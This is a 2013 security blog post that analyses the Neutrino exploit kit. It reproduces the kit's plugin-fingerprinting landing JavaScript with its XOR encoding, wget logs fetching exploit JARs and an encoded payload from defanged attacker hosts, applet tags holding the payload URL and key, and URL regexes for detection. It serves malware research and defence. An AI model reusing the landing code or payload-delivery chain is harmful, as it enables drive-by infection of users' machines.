Tuesday, September 3, 2013

Neutrino Exploit Kit - Not so exploity after all

Finally it is time to go all the way and take a real close look at what the Neutrino exploit kit is all about. I have tried a couple of times before, but run out of time and energy before I could finish the task. And as aleways it is great fun analyzing these things.

It could be an idea to take a look at my earlier posts on Neutrino, if you are new to this kit, as I might take some information for granted.
earlier posts:
Neutrino exploit kit landing demystified and Neutrino exploit kit analysis - where we look into the landing page and how the plugin detection is done.

0. Prologue

The kit has changed and evolved a bit over the past 6 months, but the main parts stay the same. It is built on the same landing with minor changes, the plugin detect  are pretty much the same, new exploits have been integrated and now even a 0-Day exploit for Java 1.6.0_45 have been incorporated. The xor schemes have not changed at all.
What drove me to pick up and analyse this kit again was the possybility for uniq exploits as the kit ships versions on Java, PDF, SWF, VLC, WMP, Silverlight, Office and what not as part of the plugin detection process. Well what did we get? read on and you will find out...

As I think this will be my reference post on Neutrino I will try to cover most of the bases. And beware we will use some previously written python code, so don't be confused if you find a link to some nice Monty Python stuff too. Hey lets start with the confusion "Confuse a cat LMTD".

Special thanks to @malwaresigs for poking my curiosity again with this tweet
and also for providing me with the live kit.

1. How do we get to the landing

As always with xploit kits one of the hardest parts is actually getting to the landing page. With Neutrino we will have to have a referer. Without it we will be seeing 404's a lot. And that is not something we like when we are trying to figure out what a piece of evil code is up to.
A lot of different gates have been published. But now it seem like the guys behind it have gone to simplisity. No variables are used to bring info to the gate:

--2013-09-03 --  hxxp: //ppbenicarlo.com/files
Resolving ppbenicarlo.com...
Connecting to ppbenicarlo.com||:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: hxxp: //ppbenicarlo.com/files/ [following]
--2013-09-03 --  http://ppbenicarlo.com/files/
Connecting to ppbenicarlo.com||:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/hvvuhbecpodgel?gheouwdi=3251988 [following]
--2013-09-03 --  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/hvvuhbecpodgel?gheouwdi=3251988
Resolving bwlwqxtbjrd.dnsdojo.com...
Connecting to bwlwqxtbjrd.dnsdojo.com||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `redir-16'

     0K .                                                       147M=0s

2013-09-03 05:17:51 (147 MB/s) - `redir-16' saved [2016]

So the gate is visited twice. First it redirects to self, then the actual redirect to the landing.

2. The landing explained

 < script type = "text/javascript" > 
$(document).ready(function() {
     req("5225a941aaa2cc9a092b4f1f", "nyqxmafwrhewro", "jvimdr", "suuwfh", "dicktmgczjtshk") //@malforsec hid, post url, xor key, paramname xor, paramname post

 function req(a, c, e, b, f) { //@malforsec change the order of the input, to confuse?
     var h = PluginDetect.getVersion,
         d = [{
             adobe_reader: "AdobeReader"
         }, {
             java: "Java"
         }, {
             flash: "Flash"
         }, {
             quick_time: "QuickTime"
         }, {
             real_player: "RealPlayer"
         }, {
             shockwave: "Shockwave"
         }, {
             silver_light: "Silverlight"
         }, {
             vlc: "VLC"
         }, {
             wmp: "WMP"
         g = [];
     g.push("hid:::" + a); //@malforsec add host id sepaator :::
     for (var k in d) for (var l in d[k]) g.push(l + ":::" + h(d[k][l])); //@malforsec add the plugins separator :::
     g.push("office:::" + office_ver());
     a = xor;
     h = encodeURIComponent;
     d = {};
     d[b] = e;
     d[f] = h(a(g.join(";;;"), e)); //@malforsec join the array separate with ;;;, then xor, then urlencode and HTTP POST
     $.post(c, d, function(a, c) {
         var b = decodeURIComponent,
             d = xor;
         $("body").append(d(b(a), e)) //@malforsec add to the html page, run it before it is fully loaded d(b(a), e) -> xor(urldecode(answer from POST))
 function xor(a, c) {
     for (var e = "", b = 0, f = 0, b = 0; b < a.length; b++) f = Math.floor(b % c.length), e += String.fromCharCode(a.charCodeAt(b) ^ c.charCodeAt(f));
     return e
 function office_ver() {
     var a = 0,
         c = 0;
     try {
         a = new ActiveXObject("SharePoint.OpenDocuments.4")
     } catch (e) {}
     try {
         c = new ActiveXObject("SharePoint.OpenDocuments.3")
     } catch (b) {}
     return "object" == typeof a && "object" == typeof c ? "2010" : "number" == typeof a && "object" == typeof c ? "2007" : null
 }; < /script>

3. So we have been thoroughly searched, what now

As we now know the detected plugins are shipped to the EK engine to prepare a fitting exploit. But what exploits can we be struck by? First lets take a look at the clear text format of the HTTP POST.


Pretty neat with name and value pairs separated with ::: between the name and values. And the ;;; to separate the name/value pairs. Easy to parse at the other end of the intertubes. But Neutrino do not send those in clear text. XOR fun and urlencoding is utilized. Can we get the exploits out?

4. Fetching the exploits

When fetching exploits we should not drop a truckload on the intertubes, that could just clog it up. So lets start out really easy, encoding the POST from aboce and just pretend to have Java 1.6.0_45 installed. Which should give us the Java 0-Day from back.
Encoded HTTP POST:


Now we are ready. Lets fire it and see what happens. We get this back:


Yeah, XORED and urlencoded too. As expected from the JavaScript code from the landing. Lets decode it.

<applet archive='hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/exnqkvvagfdh?ysvxxmlkuet=hcsjuho' code='Kre' width='10' height='10'>
      <param name='exec' value='aHR0cDovL2J3bHdxeHRianJkLmRuc2Rvam8uY29tOjgwMDAvemNoampybm5sP3lhY3Z2eHZjPWhjc2p1
      <param name='xkey' value='gjmm'>

That looks good. Nice applet tags. Lets go and fetch the JAR and binary:
Decoded binary URL:

hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho

--2013-09-03--  hxxp:// bwlwqxtbjrd.dnsdojo.com:8000/exnqkvvagfdh?ysvxxmlkuet=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com...
Connecting to bwlwqxtbjrd.dnsdojo.com||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.6.0_45.jar'

     0K .........                                             100%  110K=0.09s

2013-09-03  (110 KB/s) - `1.6.0_45.jar' saved [9724/9724]

--2013-09-03 05:29:09--  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com...
Connecting to bwlwqxtbjrd.dnsdojo.com||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268288 (262K) [application/octet-stream]
Saving to: `1.6.0_45.bin'

2013-09-03 (541 KB/s) - `1.6.0_45.bin' saved [268288/268288]

Sweet stuff. We got what we came for.

Now lets see what else is hidden in the cookie JAR of the Neutrino exploit kit.
Lets fetch the JAR files for version 1.6.0_32
To do that we will have to go all the way through the gate again as the kit just responds with 404's for more fetches after we have downloaded the binary. You can not fetch more JAR files after you have fetched one JAR either,without going via the gate

--2013-09-02 --  hxxp: //scxfwwghjjhtkifqlpm.home.dyndns.org:8000/naovxqrjjp
Resolving scxfwwghjjhtkifqlpm.home.dyndns.org...
Connecting to scxfwwghjjhtkifqlpm.home.dyndns.org||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `java-tags_1.6.0_32'

     0K                                                        31.4M=0s

2013-09-02 16:17:58 (31.4 MB/s) - `java-tags_1.6.0_32' saved [792]

--2013-09-02 --  hxxp: //scxfwwghjjhtkifqlpm.home.dyndns.org:8000/ebqnyztjjsla?ydzvadw=nckympvem
Resolving scxfwwghjjhtkifqlpm.home.dyndns.org...
Connecting to scxfwwghjjhtkifqlpm.home.dyndns.org||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.6.0_32.jar'

     0K .........                                             100% 16.0K=0.6s

2013-09-02 16:22:11 (16.0 KB/s) - `1.6.0_32.jar' saved [9724/9724]

Hmm, we got the same JAR. Could be that one exploit is enough for the Java 1.6 branch or there could be more exploits in one JAR. So one JAR for all 1.6.0_* versions

Lets see whats thrown at us if we come with a 1.7.0_* configured client. To cut it short - one JAR for all 1.7 versions too. u11, u14 and u16 fetched below.

First the answer from the HTTP POST:



      <param name='jnlp_href' value='Kre.jnlp'>
      <param name='jnlp_embedded' value='PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KCQkJCQk8am5scCBocmV


<?xml version="1.0" encoding="utf-8"?>
     <jnlp href="Kre.jnlp" spec="1.0" xmlns:jfx="http://javafx.com">
       <j2se href="http://java.sun.com/products/autodl/j2se" version="1.7+" />
       <jar href="hxxp: //ipdnkdtiqbmkptpdry.homelinux.org:8000/ektgrnwfkrymwi?yrwfbevqxf=iflusqzvao" main
="true" />
      <applet-desc main-class="Kre" name="Applet" width="10" height="10">
       <param name="__applet_ssv_validated" value="true" />
      <param name="exec" value="aHR0cDovL2lwZG5rZHRpcWJta3B0cGRyeS5ob21lbGludXgub3JnOjgwMDAvenNxam5wbG56ZnRyP3lw
d2NodnBkZGk9aWZsdXNxenZhbw==" />
      <param name="xkey" value="qgrw" />

So the Java 1.7 branch uses jnlp.

-2013-09-02--  hxxp: //ipdnkdtiqbmkptpdry.homelinux.org:8000/ektgrnwfkrymwi?yrwfbevqxf=iflusqzvao
Resolving ipdnkdtiqbmkptpdry.homelinux.org...
Connecting to ipdnkdtiqbmkptpdry.homelinux.org||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_16.jar'

     0K .........                                             100% 30.9K=0.3s

2013-09-02  (30.9 KB/s) - `1.7.0_16.jar' saved [9724/9724]

--2013-09-02 --  hxxp: //gsojvgunokhgrv.homelinux.org:8000/egsdfpw?yutephlcpugl=muyluxwkui
Resolving gsojvgunokhgrv.homelinux.org...
Connecting to gsojvgunokhgrv.homelinux.org||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_14.jar'

     0K .........                                             100% 51.0K=0.2s

2013-09-02  (51.0 KB/s) - `1.7.0_14.jar' saved [9724/9724]

--2013-09-02 --  hxxp: //tbyvfuyoeticobvsmlj.homelinux.org:8000/eflkzub?ytozyyp=eoitnyee
Resolving tbyvfuyoeticobvsmlj.homelinux.org...
Connecting to tbyvfuyoeticobvsmlj.homelinux.org||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_11.jar'

     0K .........                                             100% 62.3K=0.2s

2013-09-02 (62.3 KB/s) - `1.7.0_11.jar' saved [9724/9724]

Now to the mystery of VLC, Silverlight, Office, ODF, SWF and so on. What is hidden:
Here are some of the versions tested:
Clear text and encoded  HTTP POST:

post PDF:

post Flash:

post VLC:

post Silverlight:

PS: All these are encoded based on the landing on the top if you want to reproduce it.

Here are the fetch results:

--2013-09-02--  hxxp: //cqowynqjwwgtbed.ham-radio-op.net:8000/nnkboixgotwwk
Resolving cqowynqjwwgtbed.ham-radio-op.net...
Connecting to cqowynqjwwgtbed.ham-radio-op.net||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `pdf-1'

     0K                                                        0.00 =0s

2013-09-02  (0.00 B/s) - `pdf-1' saved [0]

--2013-09-01 --  hxxp: //cgudhxvieudmocisb.mine.nu:8000/noaulughyvxd
Resolving cgudhxvieudmocisb.mine.nu...
Connecting to cgudhxvieudmocisb.mine.nu||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `silverlight-1'

     0K                                                        0.00 =0s

2013-09-01 (0.00 B/s) - `silverlight-1' saved [0]

--2013-09-01 --  hxxp: //bsovyhrmpfbysdgn.mine.nu:8000/nizhpcdk
Resolving bsovyhrmpfbysdgn.mine.nu...
Connecting to bsovyhrmpfbysdgn.mine.nu||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `swf-2'

     0K                                                        0.00 =0s

2013-09-01  (0.00 B/s) - `swf-2' saved [0]

--2013-09-01 --  hxxp: //qxihsmncllgyj.selfip.com:8000/nudyitxgn
Resolving qxihsmncllgyj.selfip.com...
Connecting to qxihsmncllgyj.selfip.com||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `vlc-2'

     0K                                                        0.00 =0s

2013-09-01  (0.00 B/s) - `vlc-2' saved [0]

Yes 200 OK's from the server the request is accepted :) But what happens? Zero content. OK so it looks like the kit is accepting requests but have nothing to serve us. Lets validate with Java 1.7.0_25.
You get the idea with the encoded HTTP POST now so lets just look at the JAR fetch:

--2013-09-02 --  hxxp: //ekutxbbvwqrnpt.home.dyndns.org:8000/nddangrrqdjblwm
Resolving ekutxbbvwqrnpt.home.dyndns.org...
Connecting to ekutxbbvwqrnpt.home.dyndns.org||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `java-tags_1.7.0_25'

     0K                                                        0.00 =0s

2013-09-02 (0.00 B/s) - `java-tags_1.7.0_25' saved [0]

HTTP 200 OK with zero content is the behaviour of the Neutrino EK if it has no exploit to serve you with an otherwise OK request. 

5. JARs only

So we have estblished, in opposite, to what I thought that the Neutrino expoloit kit only serve Java exploits. If we look at the advertisement on Neutrino posted over at malware.dontneedcoffee.com 
that was the intial setup, and I guess the author have not incorporated more exploits, as promised. Why send that info into the kit then? I do not know and can only speculate. Could be to collect info on potential new exploits to add or just to waste peoples, like me, time :) Whatever, we now know the entire exploit range of the kit.

6. Sidestep

Ofthen when I look into EKs I mess it up and get frustrated. No exception this time. As I sat last night going through the kit and was about to fetch a JAR I got a 404 I did not expect to see. Crap I thought - did it shut me off???? Not only a HTTP 404 but it redirected to this domain too:

hxxp: //qtqexjfgnmcsp.issmarterthanyou.com:8000/hluqlxpl?gmmqbqknblp=3251988

issmarterthanyou.com -> WTF. I mught be stupid but I'm  not a fool.

Excellent idea for all you exploit kit making guys out there: redirect me to a cool domainname when I screw it up :). The real reason was of course a typo instead of 1.6.0_45 in the User-Agent string. Through me off for a couple of ms there.

7. Back on track

Having covered the expoits lets have a look at the binaries. Over a period of a couple of days I have received 2 different binary files from the kit. All binaries from Neutrino are XORed and need to be decoded before they can be executed.

fetching binaries:
remember this is the param exec from the applet tags received after we POST in our data:

--2013-09-03--  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com...
Connecting to bwlwqxtbjrd.dnsdojo.com||:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268288 (262K) [application/octet-stream]
Saving to: `1.6.0_45.bin'

     0K .......... .......... .......... .......... .......... 19%  208K 1s
    50K .......... .......... .......... .......... .......... 38%  929K 0s
   100K .......... .......... .......... .......... .......... 57%  682K 0s
   150K .......... .......... .......... .......... .......... 76%  938K 0s
   200K .......... .......... .......... .......... .......... 95% 1.03M 0s
   250K .......... ..                                         100%  766K=0.5s

2013-09-03 (541 KB/s) - `1.6.0_45.bin' saved [268288/268288]

Lets have a look at one of them:

000000: 2a30 c3bd 6d64 6a6d 6d63 6a6d 6dc2 98c2  *0..mdjmmcjmm...
0000010: 956d 6dc3 9f6a 6d6d 676a 6d6d 276a 6d6d  .mm..jmmgjmm'jmm
0000020: 676a 6d6d 676a 6d6d 676a 6d6d 676a 6d6d  gjmmgjmmgjmmgjmm
0000030: 676a 6d6d 676a 6d6d 676a 6d6d 676a 6d6d  gjmmgjmmgjmmgjmm
0000040: c28f 6a6d 6d69 75c3 9763 67c3 9e64 c2a0  ..jmmiu..cg..d..
0000050: 46c3 926c 21c2 aa4b 3905 0e19 4d1d 1505  F..l!..K9...M...
0000060: 0a1f 0607 4d0e 0604 0302 134a 0f08 4718  ....M......J..G.
0000070: 1803 4703 034d 2325 3e4d 0a05 0908 4967  ..G..M#%>M....Ig
0000080: 6067 436a 6d6d 676a 6d6d c386 c3a9 c2a4  `gCjmmgjmm......
0000090: c393 c282 c288 c38a c280 c282 c288 c38a  ................
00000a0: c280 c282 c288 c38a c280 c28b c3b0 5fc2  .............._.
00000b0: 80c2 83c2 88c3 8ac2 80c2 8bc3 b049 c280  .............I..
00000c0: c281 c288 c38a c280 c28b c3b0 59c2 80c2  ............Y...
00000d0: a1c2 88c3 8ac2 80c2 82c2 88c3 8bc2 803b  ...............;
00000e0: c288 c38a c280 c299 1565 c280 c285 c288  .........e......
00000f0: c38a c280 c299 1551 c280 c283 c288 c38a  .......Q........
0000100: c280 c299 1550 c280 c283 c288 c38a c280  .....P..........
0000110: c299 1557 c280 c283 c288 c38a c280 3503  ...W..........5.
0000120: 0e05 c282 c288 c38a c280 676a 6d6d 676a  ..........gjmmgj
0000130: 6d6d 676a 6d6d 676a 6d6d 372f 6d6d 2b6b  mmgjmmgjmm7/mm+k

Looks like we do not have an exe file, and we can spot a pettern indicating it is xored. Luckily we have the XOR key from the applet tags we downloaded. The xor key changes quite often but is stuck on 4 byte. Here are some samples:

<param name='xkey' value='lspw'>
<param name='xkey' value='gjmm'>
<param name="xkey" value="qgrw">

The XOR scheme has been the same for Neutrino for a long time. And using my python script made in a previous analysis will give you the correct exe.

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c3a8 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 c2a1 c283 c389  ..$.............
0000090: c2be c3a5 c3a2 c2a7 c3ad c3a5 c3a2 c2a7  ................
00000a0: c3ad c3a5 c3a2 c2a7 c3ad c3ac c29a 32c3  ..............2.
00000b0: adc3 a4c3 a2c2 a7c3 adc3 acc2 9a24 c3ad  .............$..

8. Detection

For those interested in network detection
landing: /h[a-z0-9]{1,16}\?g[a-z0-9]{1,12}=[0-9]{6,7}$
JAR: /e[a-z0-9]{1,11}\?y[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXE: /z[a-z0-9]{1,16}\?y[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

The first char change frequently though so you have to hunt the kit to make sure you are covered. www.malwaresigs.com have less specific patterns.

9. Epilogue

The new stuff uncovered, at least for me, is that we have confirmed that Neutrino only has Java exploits. In addition the DGA/TDS have changed, the small static parts of the URL's for EXE and JAR download keep on changing. Otherwise this is the same old EK we know. Todo: look into the 0-Day JAR to verify it is the 0-day reported by others and to see if there is one or more exploits in the JARs.

Update 2013-09-06:

Having looked at the JARs in more detail. They are all the same for Java 1.6 and 1.7. As far as I can figure out they are all exploting the CVE-2013-2463 (all java 1.6 and < Java 1.7.0_25). The only good reference on this is from packetstorm, but looking at the code there makes me pretty sure thats where this code originates from :) Thank U to the Packetstorm bounty program!

And here is the usual Neutrino base64 decode of malware url, fetch the binary, XOR the binary, write to temp file and exec:

Good places to look for info on neutrino:
@kafein - malware.dontneedcoffee.comHave a great overview of advertisement, exploits and changes.
@malwaresigs - www.malwaresigs.com will help you detect this bad stuff.
@MalwareMustDie - malwaremustdie.blogspot.com have also had an encounter with neutrino

Happy Neutrino EK JAR and EXE manual fetching :)

No comments:

Post a Comment